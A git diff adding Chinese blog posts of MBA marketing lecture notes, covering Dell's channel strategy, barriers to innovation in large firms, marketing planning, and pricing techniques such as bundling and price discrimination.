+索尼称他们的电脑维修是免费的。真的免费吗？看上去确实没有收任何维修费用，但对客户来说，时间成本却是巨大的。 + +![](/uploads/2018/11/04-24.jpg) + +比如，律师正在法庭上辩护，所有的证词都在电脑里，这时候电脑突然死机了，难道你要跟法官说，不好意思，我电脑坏了，能不能等我8周把电脑修好再来！8周！谁会等你啊！第二天你就要到法庭上。有了戴尔公司，律师们再也不需每天备份电脑里的数据，这极大减轻了他们的麻烦，于是律师们纷纷从IBM转向戴尔，这就是戴尔的渠道战略。因此，渠道可以降低客户的成本。戴尔没有钱做促销，事实上他也不需要钱做促销。因为戴尔承诺顾客到家里或者办公室去维修电脑，他们可以面对面跟客户讲，我爱你们，感谢你们使用戴尔电脑。这是一个相当高明的促销方法。 + +戴尔成功的原因何在？一方面，戴尔降低了客户的成本。采用电话或上门服务，在最短的时间解决了顾客的问题；另一方面，戴尔有良好的资金周转能力。戴尔是在顾客下单付款后，再进行生产，90天后再付款给供应商。客户的预付款形成了企业的资金池，为戴尔的成长提供资金源。 + +**营销经理缺乏创新的根源是？** + +我曾经给惠普做过咨询，我做过一个对比，当戴尔利润率为12%的时候，惠普的利润率是0，高利润率是戴尔公司的一个巨大优势。那么，我想问大家一个问题，也是营销和战略中比较关心的问题，**为什么其他电脑公司没有效仿戴尔模式呢？** + +第一年，戴尔在德州奥斯汀取得成功，之后无论到哪里，都能立即取得巨大的成功。你也许质疑，戴尔在德州奥斯汀大学城的成功是因为学生没有车，出行不方便，只能购买戴尔电脑。之后，戴尔在整个德州取得成功，你说那是德州面积太大，经销商离消费者太远，戴尔的成功得益于特殊的地理情况。接着，戴尔在全美取得了成功，埃里克·戴尔（戴尔公司创始人）的照片甚至登上了杂志的封面。飞利浦在荷兰亏损，西门子在德国亏损，但它们就是没有效仿戴尔的模式。这些大公司都没有。为什么？你说，荷兰市场很小嘛，这些大公司不在乎的。后来戴尔去了荷兰，荷兰本土的电脑公司立刻消亡了。戴尔去了德国，西门子也失去了当地市场。戴尔去任何地方，都会让当地的电脑公司灭亡。直到很多年**以后，这些公司才开始效仿戴尔模式，这到底是什么原因呢？** + +无独有偶，在Ipod问世之前，市面上所有MP3公司生产的耳机都是黑色的。没有绿色、橙色、白色。这很不可思议，对吗？这些公司都有自己的设计师、营销经理，他们天天讲我们要在消费者心中形成差异化，打造与众不同的细分市场。但**为什么在Ipod问世之前，没有一家生产彩色耳机的公司呢？** + +不仅IT行业如此，航空业也有同样的问题。美国西南航空公司一直有自己独到的营业模式。飞行中不提供餐食，只有花生和可乐。不提供预选座位服务，想要靠窗的位置，客户需要自己去抢。尽管如此，西南航空一直是盈利最高的航空公司，利润每年都在增长，已经成为美国最大的航空公司了。25年后，爱尔兰瑞安航空公司成为第一家效仿西南航空模式的航空公司，他们说自己要做的比西南航空更加“西南航空”，连花生和可乐都不提供了，没有吃的，上厕所就少了，这样在飞机上只装一个厕所就可以，剩下的空间还可以多装三个椅子。就这样，瑞安航空逐渐成为欧洲最大、最盈利的航空公司。但**为什么在25年后才只有瑞安一家公司开始效仿西南航空呢？**  + +![](/uploads/2018/11/04-25.jpg) + +原因如下。**在大公司工作的人，如果因为做了一件与其他人相同的事情使公司亏了钱，一定不会被炒鱿鱼。如果你尝试新鲜事物没有成功的话，却可能毁掉自己的职业生涯。所以，大公司的营销经理宁愿随波逐流，也不愿冒此风险。** + +乔布斯回归苹果公司之前，在一次采访中说道，现在的电脑怎么变得这么难看？电脑都是丑陋的黄色或者灰色，真是很遗憾。他回归苹果公司之后，推出了各种彩色的电脑，这是乔布斯回到苹果公司后的第一个成功，也是最容易取得的成功。不需要1亿美元的研发经费，只要提供不同的颜色。这个方案很容易落地，也很容易得到反馈，即便是这样，到现在也没有效仿者。 + +![](/uploads/2018/11/04-26.jpg) + +上节课讲过，在市场营销中，营销经理要做尝试、要去试错。造5座大桥，80%的可能都会倒塌。 + +害怕犯错，就是这些大公司会在市场中消亡的原因。如果你在一家大企业工作，想成为这家公司的CEO的话，那就不要像乔布斯一样提议做粉色的电脑，一旦你失败了，下次再提点子的时候，一张嘴就会有人质疑你。他们会说，看，这就是那个曾经想做粉色电脑的人…于是，这个做粉色电脑的主意就毁掉了你的职业生涯。所以，想升职，就不要尝试那些危险的想法。如果有人想到了一个好主意，你就说，真有趣，但我担心大部分人可能接受不了。 + +不要做任何出头鸟的事情，这是在大公司的生存法则。当然，如果你在一家小公司工作，或者你是个体户的话，你不需要往上爬，你也就不需要这么做。而在大公司，你什么都不要做，只要等着别人出错，等着公司把他踢出去就好了。这是一个新的游戏规则。 + +![](/uploads/2018/11/04-27.jpg) + +不仅出头鸟犯了错误，会受到众人排斥，即使做对了事，也会遭到愚蠢之人的反对。给大家讲一个例子。200年前，人们还不知道细菌这个概念，当时去医院分娩的女性，死亡率占10%。作为妇产医院的院长塞麦尔韦斯 (Semmel-Weiss)产生了强烈的探究欲，他开始研究孕妇死亡的趋势，他发现病人的感染是通过医生的手扩散的。于是，塞麦尔韦斯要求医生在为每名孕妇接生的时候都要洗手。他的观点触动了一些人的尊严，遭到了医生们的强烈反对。即使他所在医院的孕妇死亡率下降到了1%以下，却仍被医院解雇。塞麦尔韦斯非常郁闷，他在医院门口举牌声称，谋杀犯在里面！于是，这些人把塞麦尔韦斯逼到了疯人院里，3周之后他试图逃出疯人院却被保安打死。 + +![](/uploads/2018/11/04-28.jpg) + +**如何激发市场营销经理的创新？** + +**营销经理不愿创新根源在于企业缺乏营销的哲学。作为管理者，你应该问问你的营销经理，**有过哪些不成功的尝试？如果他什么也回答不出来，那么你的公司根本没有真正的营销经理，有的只是一名超市收银员。营销经理的工作应该是尝试做一些使公司更加成功的事情。 + +记得我还是一名大学普通教授的时候，一些企业的人力资源经理会过来拜访我，他们经常会问：你在教学期间，会想方设法让你的学生变得更加积极主动嘛？因为对我们来说，找到一个听话的经理很容易，找到一个敢于违背你的意愿，并告诉你，我们应该做一个完全不一样的东西，这样有革新精神的营销经理很难。 + +我对这些人力资源经理回应说：我当然会做一些尝试，用一些小技巧让学生变得更加积极主动。但我也有一个问题想问你，如果我把学生培养成了革新者，我该不该推荐他们到你的公司工作呢？ + +**企业很难找到一名优秀的营销经理的原因是，公司没有为他们提供一个安全的生存环境。**公司规模小的时候，员工的目标是如何建造这座金字塔，一旦公司变大以后，游戏规则就会发生变化，就变成了谁能爬上金字塔顶端。 + +![](/uploads/2018/11/04-29.jpg) + +**三、市场营销计划的制定** + +**我们不仅可以利用4P&4C进行市场营销研发，也可以利用它来管理市场。**我们有新市场也有旧市场。人们说中国是一个新兴市场，这个观点完全错误。中国有成千上万的市场，一些在衰退，一些已经成熟，还有一些是新兴的。比如中国烟草行业就不是新兴市场，它是一个非常成熟的市场。成熟市场中，公司会相互效仿，你做什么，我就做什么。新兴市场中，大家相互斗争，谁是最后的赢家无法确定。 + +**大企业死于成功陷阱** +**新兴市场的特点是，一开始的赢家往往不会成为最后的赢家。那些先锋者往往存活不到最后，甚至连名字都会被人们遗忘。为什么会这样？是因为新兴市场的第一批买家是发烧友，第二批以后才是普通用户，他们有着本质的区别。** + +例如，手机行业中谁是第一批在中国买手机的人？他们可能是50多岁的男人、企业的老板。那时候摩托罗拉是手机行业的老大，这些成熟的男士是它的客户群体。之后，手机市场的主要消费人群变成了年轻的专业人士，他们在30~50岁之间。这个阶段，手机市场从斯堪的纳维亚（丹麦）开始扩张，那里有很多年轻的女性经理人，她们追求时尚，手机市场逐渐变得年轻时尚化。于是，新的赢家诺基亚出现了。还记得诺基亚吗？在并不那么遥远的过去，诺基亚曾是时尚的引领者，没有哪个25岁的女性会买一台摩托罗拉手机，都会选择诺基亚。 + +好景不长，又过了几年，手机行业再次进入到了一个新的产品生命周期，即智能手机时代。摩托罗拉没有从通讯手机转型到时尚手机，诺基亚没有从时尚手机转型到智能手机。**摩托罗拉和诺基亚为什么没有及时转型进入新的市场呢？** + +**对于一个成功的公司，最难的事情就是改变那些曾经使他成功的策略。一旦公司成功，就不会再倾听客户、竞争对手的声音，就会面临危险。**当摩托罗拉还是行业老大的时候，没人想到摩托罗拉会被淘汰。当诺基亚是老大的时候，也没有人想到诺基亚会被淘汰。现在苹果是老大，可能大家认为没人能撼动苹果的地位，但也许五年以后，苹果就会被淘汰，他们的股价、利润就会走下坡路。 + +![](/uploads/2018/11/04-30.jpg) + +**企业持续成功的秘诀** + +很多企业都在考虑一个问题，**在一个瞬息万变的市场环境中，如何保持持续的成功？**我们可以从步步高公司身上找到一些思路。 + +最初步步高生产的都是低端的、低价的手机，当中国手机市场走向高端时，他们推出OPPO。当十几岁的青少年开始追逐潮流酷炫时，他们推出vivo。当小米手机杀来时，他们又创造了一加品牌（OPPO前副总经理刘作虎创立）。如果你问vivo，谁是你的竞争对手？他们会说OPPO。如果你问OPPO的负责人，你们的竞争对手是谁？他们会说是vivo。 + +步步高的多品牌战略也许是从宝洁公司学到的。如果你问宝洁公司的一个子品牌负责人，谁是你的竞争对手？他回答的一定是宝洁的另一个品牌。如果想成为宝洁CEO，就要打败其他的宝洁品牌。这就是宝洁和步步高公司的策略，采取多品牌战略，让它们相互竞争。 + +![](/uploads/2018/11/04-31.jpg) + +如果当时诺基亚能推出5个子品牌，我相信他们现在不至于沦落到如此地步。还有很多公司都在这样做，比如有120年历史的飞利浦公司，仍然在不断地创造新的公司，西门子在不同的行业里也在不断创造新公司。**很多企业现在都在向苹果公司学习，但是我觉得从更加广义的层面或者时间维度上来考虑，他们更应该向飞利浦、西门子、通用电气公司学习。如果企业想要基业长青，就要跟这些百年企业学习，跟这些一路经历世界大战，经济衰退，大萧条的企业学习。** + +**市场营销环境** + +我们所处的市场环境非常复杂，有着极强的竞争性、讲究经济效益、追求技术、多元化的社会文化。市场营销中，我们不知道的永远比知道的要多得多。 + +就算有人知道下一代技术是什么，告诉我们，我们也听不懂。就像电子邮件问世之前，你根本无法跟没用过电子邮件的人解释它是什么。你告诉他，你整天都可以用电子邮件发信件给别人，可他很费解，为什么要整天发信件给别人？我只要能写信给妈妈就好了。微信支付、滴滴打车都是一样的，只有出现了，人们才会慢慢接受它。技术环境无法预测，社会文化方面呢？据统计，中国平均一个女人有1.2个孩子，上海是0.7，韩国是1。而且大部分都是男孩。每一代人口都在下降，下一代人口可能是现在的一半。也许再过200年，荷兰人口比中国还要多。 + +如何在一个衰退的经济环境中管理好公司？没有书、文献可以指导我们。**我们面临的未来环境要比我们想象的更加不可预测。**就像在1925年无法预测1950年的事情，在1957年也无法预测2000年的事情。**尽管营销环境如此复杂多变，作为市场营销经理，我们也要尽可能地做好营销规划。** + +**市场营销规划三步走** + +**评价一个市场营销规划，我通常看两个要素：目标和信息。这是很多规划里缺少的内容。** + +**第一步：明确目标。**就像前面讲的卖沥青给市政工程的案例，最初的营销目标是交通局采购员，但交通局一定要你解释，你的沥青价格贵了两倍，质量哪里好了两倍。交通局的负责人甚至怀疑他们的采购人员受贿了，应该得到惩罚。所以，沥青公司的真正目标不应该是交通局的采购员，应该是市长和监管方。因此，**确定营销目标是营销规划的起点。** + +**第二步：确定有价值的信息。**信息应该是有价值的信息。什么是有价值的信息呢？下面也举两个案例说明一下。 + +布里德公司（Breed）发明了安全气囊，但汽车公司认为加装安全气囊会增加他们的成本。遇到这种情况，布里德公司该如何成功推销他们的产品呢？他们找到了美国最大的汽车保险公司好事达公司，告诉他们，安全气囊能够减少交通事故的赔付费用。保险公司很激动，立即购入了7万个气囊，安装到公司所有员工的车里，并且开始搜集安全气囊有效性的证据。于是，保险公司开始游说政府，建议颁布新的法律，强制汽车公司安装安全气囊，但汽车公司反对说安全气囊并不安全。就这样，他们斗争了10年，保险公司最后赢了。布里德公司发明了安全气囊，他们找到了自己的营销目标是保险公司，然后跟保险公司讲安全气囊对他们的好处。保险公司也很聪明，没有去找汽车公司，而是去游说政府，跟政府讲安全气囊对于社会的好处。因此，**在明确营销目标之后，要清楚什么信息对你的营销目标是有价值的。** + +再来看看麦当劳。麦当劳没有发明新的汉堡，却发明了一个新的营销目标，小孩儿。在此之前，没有一家餐厅的营销是针对孩子的。麦当劳在下午播放电视广告，告诉四五岁的孩子，让妈妈带你们来麦当劳吧，这里有小丑，超好玩，超酷！广告发布之后，5000辆车赶到麦当劳门口，专程来看小丑。华盛顿特区的麦当劳这样做之后，全世界的麦当劳纷纷效仿。因此，我们不仅可以开发新产品，还可以开发新客户，并为他们提供有价值的信息。麦当劳的营销为顾客提供了什么有价值的信息呢？对妈妈来说，有价值的信息是，下班不用烧菜了，只要带一份麦当劳回家就好了。对孩子来说，他们能得到麦当劳附送的那些塑料小玩具，呃，你甚至可以把那些小玩具当做是麦当劳给孩子们的贿赂。 + +**第三步：应用营销工具。**这一步是大家最擅长的地方，我看到很多公司的营销规划中95%的内容都是营销工具，如广告、公告牌、互联网营销等，这些你们都很擅长了。但是你们却往往会缺失营销规划最重要的两个内容，目标和信息。 + +今后，大家再看一份营销计划书时，要注意是否有营销目标？是否有信息？营销目标是否从全局考虑问题？目标可以是记者、监管者，甚至可以是批发商的秘书，这些都该写在营销计划中。没有这些内容，作为老板的你就该直接把这份营销计划扔进垃圾桶，而不是签字通过。 + +![](/uploads/2018/11/04-32.jpg) + +但是，最后还是要明确一个观点，有了完整的营销计划也不是万事大吉了。我们永远不知道一份看似完美的营销计划是否真的能够达到奇效。就像之前我们说过的，营销环境如此复杂，我们什么都不能断定，我们需要不断的尝试与试错！营销就是一门概率的科学。市场营销经理的工作就是管理概率，提高我们成功的可能性。 + +**问答环节** + +**问题：懂技术的人员和市场营销专业的学生相比，谁更能做好科技行业的市场营销工作？** + +**柏唯良：**美国电话电报公司（AT&T）曾经做过这方面的研究，我认为对于中国的技术公司有很大的借鉴意义。美国电话电报公司通过大量实验和测试发现，英语文学专业的学生更适合售卖他们公司的通讯设备，不是学技术的学生，也不是市场营销专业的学生。很不可思议！为什么呢？ + +英语文学专业的学生毕业之后只能教英语，给学生们批作业、改作业，还要读那些糟糕的作文，而且收入还很低，搞不好学生还会投诉你，简直是一种折磨！所以，不会有多少学生愿意从事本专业的工作。这对美国电话电报公司来说是个巨大的机会。他们可以从顶尖大学招到最聪明的学生，并且这些英语文学专业的学生有着天然的优势，他们不像营销专业的学生一心想着钱，给人的感觉很油滑，也不像理工科学生那样总让人觉得困惑。英语文学专业的学生更纯粹，他们长得更好看，有着一双真诚的眼睛，更容易打动客户。英语文学专业的学生们有一双真诚的眼睛，我们派他们去“忽悠”客户再好不过了！ + +当然，上面的回答有点开玩笑的意味，但事实就是这个道理。对于这个问题，我认为每个公司都应该认真研究一下，到底什么类型的人做营销更适合自己的企业，并不只是用技术人员还是市场营销人员这么简单。下面给大家举个例子再说明一下。 + +我曾经为一家化肥经销公司做了一项研究，试图分析是否应该招聘大学生作为销售人员。我分别对农户、零售商、批发商做了调研，发现化肥销售门店都有一个共同的特点，进门之后，里面都会有一张沙发，老公坐在沙发上和朋友们抽烟、喝酒，妻子坐在柜台售卖化肥。很明显，丈夫是经理，妻子才是真正做事的。于是我向公司提建议，不应该招聘大学生，应该招聘50岁的妇女，尤其在农村，50岁的妇女没有工作，你雇佣了她们，她们会非常忠诚，不会离职，而且还很愿意把产品卖给她们的朋友。总之，**企业要进行市场营销研发，先通过数据分析得出结论，再来明确到底什么人适合做你们的营销工作。** + +结束 diff --git a/_posts/2018-11-04-311-marketing03.md b/_posts/2018-11-04-311-marketing03.md new file mode 100644 index 0000000..1ec1240 --- /dev/null +++ b/_posts/2018-11-04-311-marketing03.md @@ -0,0 +1,286 @@ +--- +layout: post +title: 【市场营销模块】 第3节 定价工具与技术 +pid: 311 +tags: [mba] +--- + +市场营销第三讲的主题是定价工具与技术，核心内容是关于定价的八个技巧。 + +![](/uploads/2018/11/04-33.jpg) + +**一、定价的重要性** + +在美国曾经做过一项针对各个行业的企业的调研，如果能够提高1%的价格，企业利润平均可以上升11.1%。一项针对创维、福特、雀巢、可口可乐公司的调查结果也显示，价格每提高1%，创维公司利润提高28.7%，福特提高26%，雀巢提高17.5%，可口可乐提高6.4%，可口可乐之所以提高的少一些，是因为可口可乐的利润本就很高了。因此，无论任何行业，价格对一家公司利润的影响是非常大的。 + +![](/uploads/2018/11/04-34.jpg) + +在宏观经济低迷的时候，很多企业为了捍卫销量打价格战，而价格竞争对公司的代价非常高，价格每下降1%，利润平均就会下降11%，价格竞争是非常不明智的行为。 + +即便定价是如此重要，但是在营销中很少受到企业的关注。公司内部有品牌经理、广告经理、产品经理，很少发现有价格经理。我曾经参与一个定价的项目，我到图书馆查阅定价的书籍，发现整个图书馆关于品牌的书大约有800本，广告的书大约有800本，定价的书只有两三本。这实在令人难以置信，以至于我的朋友建议我出版一本关于定价的书，但我觉得根本没有人会看，因为大家都没有意识到定价的重要性。企业中财务、会计、营销、销售、CEO都会影响定价，但没有专人负责定价这项工作。**定价对企业利润的影响非常大，如何提高价格且不会导致客户的流失或者尽量减少客户的流失是一个非常重要的话题。本讲课程将为大家重点讲解八个定价技巧。** + +**二、八个定价技巧** + +**1** **捆绑定价—减少单一产品价格顾虑** + +首先，我们一起来看一个问题。 + +如表1所示，A先生在晚餐上可接受的最高价格只有20美元，酒水上可接受的最高价格是40美元。B先生在晚餐上可接受的最高价格是40美元，酒水上可接受的最高价格只有20美元。 + +**表1** **A先生和B先生愿意为一顿晚餐和酒水支付的价格** + +![](/uploads/2018/11/04-35.jpg) + +**问题是：餐厅该如何定价才能使收益最大化？** + +**请看如下几个方案的讨论。** + +**方案一：**如表2所示，如果餐厅定价为晚餐和酒水都是20美元，由于价格都在两人可接受范围内，A先生和B先生会既订晚餐又订酒水。餐厅的总利润是40美元。 + +**表2** **晚餐和酒水都定价20美元** + +![](/uploads/2018/11/04-36.jpg) + + +**方案二：**如表3所示，如果餐厅定价为晚餐和酒水都是30美元，这个价格下，A先生会买酒水，B先生会买晚餐。餐厅的总利润是40美元。 + +**表3** **晚餐和酒水都定价30美元** + +![](/uploads/2018/11/04-37.jpg) + +**方案三：**如表4所示，如果餐厅定价为晚餐和酒水都是40美元，A先生会买酒水，B先生会买晚餐，餐厅的利润总计为60美元。餐厅赚得更多了。 + +**表4** **晚餐和酒水都定价40美元** + +![](/uploads/2018/11/04-38.jpg) + + +**那么，有没有什么定价方案，能使利润超过60美元呢？请看方案四。** + +**方案四（捆绑定价法）：**如果餐厅定价酒水40美元，晚餐40美元，晚餐+酒水套餐价60美元。那么，这个套餐价事实上在A/B两人可接受的晚餐+酒水的最高价格范围内，因此，两人都会选择晚餐+酒水的套餐，因为这个价格没有超出他们对单品的价格的预期。这样餐厅的总利润是80美元。 + +**表5** **“晚餐+酒水”套餐价60美元** + +![](/uploads/2018/11/04-39.jpg) + + +对比上面四个方案，采取捆绑定价法的利润最高，捆绑销售有助于商家利润最大化。这就是定价的第一个技巧或者法则，能捆绑就捆绑。 + +在软件领域，微软的销售策略基本都是捆绑销售。在杂货店，商家可以把可口可乐和朗姆酒捆绑在一起，也可以“雪碧+薯片”或者“雪碧+薯片+芬达”等，可以做各种各样的捆绑尝试，除非商店里没有足够的空间。而在电子商务中，例如淘宝上销售商品，没有空间的限制，拍各种照片挂到店铺进行宣传，做各种捆绑。因此，互联网极大地增加了捆绑销售的可操作性。**捆绑销售已经逐渐成为一门科学，如果条件允许，能捆绑就捆绑。** + +![](/uploads/2018/11/04-40.jpg) + +![](/uploads/2018/11/04-41.jpg) + +**2** **价格歧视—榨取每一分利润** + +为大家讲解的第二个定价技术是价格歧视。为了理解价格歧视的原理，首先要为大家介绍下需求曲线。 + +![](/uploads/2018/11/04-42.jpg) + +如图所示，需求曲线上有不同的价格（P），每个价格对应可接受这个价格的客户群（B）。随着价格不断降低，愿意购买这个商品的客户会逐渐增多。当价格从P1降低到P4时，我们的客户群从B1增加到B4。 + +虽然降价能够带来更多的客户，但也损失了能够从其他客户身上赚取的最大利润，这让我们付出了高昂的代价。 + +**那么，什么样的价格是理想的呢？理想的价格是尽量让每一位客户支付其可接受的最高价格，也就是针对B1客户群定价P1，针对B2客户群定价P2，以此类推。**为了达到这样的目的，我们首先要做的是，将客户进行细分，针对每一个细分客户群体制订他们愿意支付的最高价格。 + +**2.1** **价格歧视—用折扣细分客户** + +**如何进行客户细分呢？** + +我们可以按照年龄来区分，例如给老年人提供折扣，因为老人的闲暇时间比较多，他们有大量的精力购物，但是他们对价格比较敏感，给他们折扣，让他们来消费。如为65岁以上的退休人群提供折扣，鼓励他们利用白天时间看电影、吃饭。可以按照时间来区分，比如周六早上推出低价的票，为周五下午推出高价机票，因为周五下午通常是商业人士出行，周六上午是退休人士出行时间。 + +我们可以按照身份来提供折扣，例如为学生提供折扣，他们有消费的需求却没有足够的经济能力，因此给他们折扣，让他们来消费，只要出示学生证就可以享受优惠。 + +有人说学生证是可以作假的啊。但是这重要吗？开出学生优惠的公司会介意这种使用假学生证骗取折扣的行为吗？不会的。因为公司只是想让不在乎价格的客户支付高价，让价格敏感的客户支付低价。一张假学生证意味着你对价格是很敏感的，你是在乎价格的，公司为了不失去你这个客户，宁愿提供折扣。这符合用折扣来划分客户的本质。 + +有一次，我预定阿姆斯特丹到上海的机票，航空公司跟我讲，从阿姆斯特丹到上海的单程票价4000美元，如果购买往返机票，票价2000美元。单程票价竟然是往返票价的两倍！我感到很不可思议，我觉得自己身为一名市场营销教授，有必要研究一下这到底是为什么。于是，我改变了主意，购买了从阿姆斯特丹到上海的往返机票，但只从阿姆斯特丹飞到上海，不返程。然后我拿着机票到中欧国际工商学院的财务部去报销，财务人员却跟我讲：您的票不能报销，您必须飞完整个行程才能报销，我们需要从上海到阿姆斯特丹的回程登机牌，这是欧盟的规定。 + +于是，我得出的结论是，单程票是为那些需要发票的人准备的，如果你不需要发票，就买往返机票，不坐回程航班就好了。当然，这是个玩笑。事实上是航空公司为了锁定那些不追求行程固定程度的客户，向他们提供价格较低的机票，而向那些对时间自由度追求较高的客户提供价格较高的机票。航空公司将旅客细分为“不在乎价格而在乎时间自由度的客户”和“对价格敏感愿意放弃时间自由的客户”，这都是通过价格歧视来细分客户获取最大利润的方法。 + +![](/uploads/2018/11/04-43.jpg) + +**案例：价格歧视的错误应用——大数据杀熟丑闻** + +有人说互联网让价格变得更加透明，每个人随时随地都能查到商品的价格。事实真的是这样吗？在电商网站上，虽然每个人都能看到商品目录和价格列表，他们以为自己知道各个产品的价格，但事实上真的是这样吗？很多企业其实都在基于用户信息将价格进行动态调整，甚至可以让每个用户看到的价格都是不同的。 + +比如有一家建材销售公司，他们的网站上有2万多种商品。客户登陆网站之后，公司可以根据这个账号信息，分析出你属于哪一类别的消费者，你可能对哪些商品有强烈的购买欲望，你看到的商品价格会高于其他用户看到的价格。所以很多客户认为他们看到的是真实价格，其实这些价格早已经过公司的处理。现在甚至很多技术公司通过这种方式对新客户显示低价，对老客户显示高价，这就是“大数据杀熟”的丑闻。 + +美国亚马逊是最早被公开的利用数据杀熟的公司。有一次，一个教授给学生布置作业，其中需要学生们买一本书。当作业收回来以后，教授发现虽然这些学生在亚马逊上买的是同一本书，但价格是不同的。于是，教授做了一些研究，他发现如果你的购买记录多是那些投资、股票、商业类的书籍，那你在后期的购买中，显示的价格就会更高。亚马逊在通过分析用户的购买习惯，给不同用户提供不同的价格。后来，亚马逊的这一做法被写成了一篇文章报道出来，这让用户很愤怒，他们觉得亚马逊侵犯了用户的隐私，搜集用户信息并利用这些信息榨取更多的利益。亚马逊赶紧出来道歉，他们说，公司只是在借助用户数据做研究，这并不是永久的政策，以后我们不会再这么做了。 + +现在的公司越来越善于利用数据来管理价格。很多电商公司会从用户的邮编、所在地等各种信息得知消费者的信息，通过评估消费者在需求曲线的位置制定对应的价格。价格之所以逐渐受到重视，也是因为新型价格管理工具的迭代和完善。当越来越多的公司开始采取“大数据杀熟”行为时候，很多人就开始担心隐私泄露的问题。因为一旦企业对用户无所不知，他们就会利用这些信息对付大家了。 + +**因此，采取价格歧视定价技巧要小心谨慎一些，至少应该让人们觉得价格的设定是公平合理的。**比如给老年人、学生群体打折，没有人会有意见。给一次性买很多商品的人提供折扣，大家也能接受。但是如果一个客户买了5本书，现在他要购买第6本书，你却因为他买了很多书，就断定他很有钱，应该提高价格，这种价格歧视就是不合理的。 + +**2.2** **价格歧视—拆分定价** + +很多公司反应涨价和降价不是那么容易的，尤其是降价、打折，这是牵一发而动全身的事情。我就对他们说没必要让你的商品降价，你只要把你商品中的基础产品拆分出来卖就可以了，这就相当于是降价了。这就涉及到了价格歧视的拆分定价法。 + +举个例子，如果你有一家酒店，经营的还不错。但是忽然有一天，在马路对面有人又新开了一家酒店，他们的酒店更大更漂亮，抢走了你很多客户，你该怎么办呢？降价吗？前面讲过，价格战不仅解决不了问题，还会给你带来巨大的负担。 + +有一家四星级酒店曾经也面临过同样的问题。他们的房间原定价100美元，包含早餐、地下停车库、WIFI。酒店为了挽回流失的客户，采取了拆分定价法，将房间定价29美元（这对于四星级酒店来说太便宜了），早餐19美元，地下车库每晚25美元，使用网络15美元。表面上价格便宜很多，但如果将这些零零碎碎的服务加起来，总价格并没有降低多少。然而总会有人看到一家四星级酒店每晚房间费只需29美元！还想什么，赶紧的，立即拎包入住。因为这人会说我的早餐可以在7-11便利店解决，无线网不用也没有关系，车就停在马路边好了。 + +**拆分定价就是把原本一套产品拆分开来卖，对价格敏感的人群，他们可能对基础产品的需求很强，当你拆分开卖之后，他们就会来购买你的基础产品。**这就相当于为不同客户群体提供了不同的选择，全套服务的总价格基本没有变化，可以帮企业留住老客户，因为他们知道你的价格中包含了什么服务。拆分后的各项服务价格很低，就可以吸引新客户。 + +![](/uploads/2018/11/04-44.jpg) + +电影院最擅长利用拆分定价法。我们去电影院就会发现，电影票价很低，但是售卖的可乐、爆米花都超贵。电影院希望所有人都能来电影院，只要来了客人，就能产生利润。于是，他们把基础商品（电影票）独立出来，定价很低。附加商品（如可乐、爆米花）定价很高。如果你提前在其他地方买了饮料或者小吃带进去，电影院也不会介意。就像用假学生证骗折扣一个道理，商家最不愿看到的是你跑到竞争对手那里，所以电影院会尽量满足那些价格敏感的客户。 + +比如一个单身妈妈带着三个孩子去看电影，家里很拮据。她可以先去麦当劳买好饮料和食品，藏在口袋或者包里。电影院的工作人员看了之后，也不会说什么，只会提醒你赶紧藏好，别让别人看见。这时，这位单身妈妈就处在需求曲线不愿意支付高价的位置，但是相应的她要忍受的就是种种不方便作为偷带食品的代价。 + +但如果一个男生带女生第一次约会的话，一定会到现场买饮料和食品，因为这个男生总不能对女孩子说把你的包打开，我要把这两瓶饮料藏进去。这时，这个男生就处在了需求曲线上那个愿意支付高价的位置。 + +**3** **三的威力—设定价格参考点，让原价不那么贵** + +为大家讲解的第三个定价技巧是“三的威力”。拿肯德基来说，原来他们的冰激凌卖2元钱，怎样改变定价增加利润呢？ + +如果采取“三的威力”定价法，肯德基应该提供三种冰淇淋。可以将一种冰淇淋定价1.5元，一种2.5元，另一种6.5元。我们就可以通过宣传1.5元的特价冰淇淋吸引更多的顾客光顾。但是到店之后，人们发现居然有三种冰淇淋可选。事实上，很可能会有25%的人购买1.5元的，70%的人购买2.5元的，5%的人购买6.5元的，这就是三的威力。增加的6.5元冰淇淋并不是为了卖出去，而是以它作为价格参考点，让2.5元的冰淇淋看上去没那么贵，让本想购买1.5元的人去购买2.5元的冰淇淋。 + +“三的威力”被广泛的应用，比如星巴克提供三种杯型的咖啡，麦当劳有三种包装的薯条，服装店有三个价格档次的衬衫，就连餐厅也会提供三种价格的套餐。 + +![](/uploads/2018/11/04-45.jpg) + +当然，很有趣的是，有时候三的威力也会失效，比如我们增加了6.5元价格的冰淇淋，但居然发现买6.5元冰淇淋的人达到了25%。这就意味着，6.5元的参考价格已经不够高了，你有更大的利润可赚了。 + +星巴克就是这样，在美国，他们以前也和中国一样只有中杯、大杯、更大杯。因为他们是想将大杯作为主力杯型来卖的，但是发现价格偏贵的更大杯的销量居然也不错，已经不能成为一个合格的参考点了，反而有成为主力杯型的可能性。之后，星巴克在美国就引入了一个新的杯型，超大杯。这款超大杯咖啡有916毫升。我查了一下，人的胃平均是927毫升。喝了超大杯型的咖啡之后，一般人的胃就只剩下11毫升了，简直不可思议。根本不会有人买这款超大杯型的咖啡，它的推出就是为了作为一个参考点，让原来的更大杯看上去很合理。事实也确实如此，自从它推出之后，更大杯的销量就翻了一倍，这就是“三的威力”，或者叫“设定参考点的威力”。 + +**4** **坏消息一起说—频率比多少更重要** + +如果我说“50+50+50=500”，你们一定觉得很不可思议。这不是一道数学上的计算题，而是心理学问题。举个例子说明一下。 + +假设你的衣服兜里本来是有50元钱，今天早上起来怎么翻也没有。其实是昨晚回家开门找钥匙，一不小心丢了，这让你觉得很烦心。然后你在上班的路上买了一张报纸，到了公司才发现，你付给商家100元，店家却是按50元给你找的钱，现在你一定觉得更不爽了。晚上下班的时候，你骑自行车回家，路上的交警拦住了你，因为你违规又罚款50元钱，现在你已经到了不爽的极点。倒霉的你终于到家了，回想起今天接连损失三次50元，恨不得拿你的狗撒气。 + +但是，大家想一下，如果你不是分别三次损失了50元钱，而是一次性损失了150元钱，你还会心情这么糟糕吗？虽然两者在数学上的金钱相等，但丢失三次50元显然比一次性丢失150元更让人窝心。 + +丢钱如此，捡到钱也是同样的道理。假如你早上起床出门捡到50元钱，你会很开心。然后买了张报纸，付给商家50元钱，却按100元找你钱，这时候你甚至会感到双倍的开心。晚上吃饭的时候，花了50元钱，却听说可以拿发票报销。你会有什么感觉？可能要开心得起飞了吧！所以，重要的不是量的多少，而是频率。 + 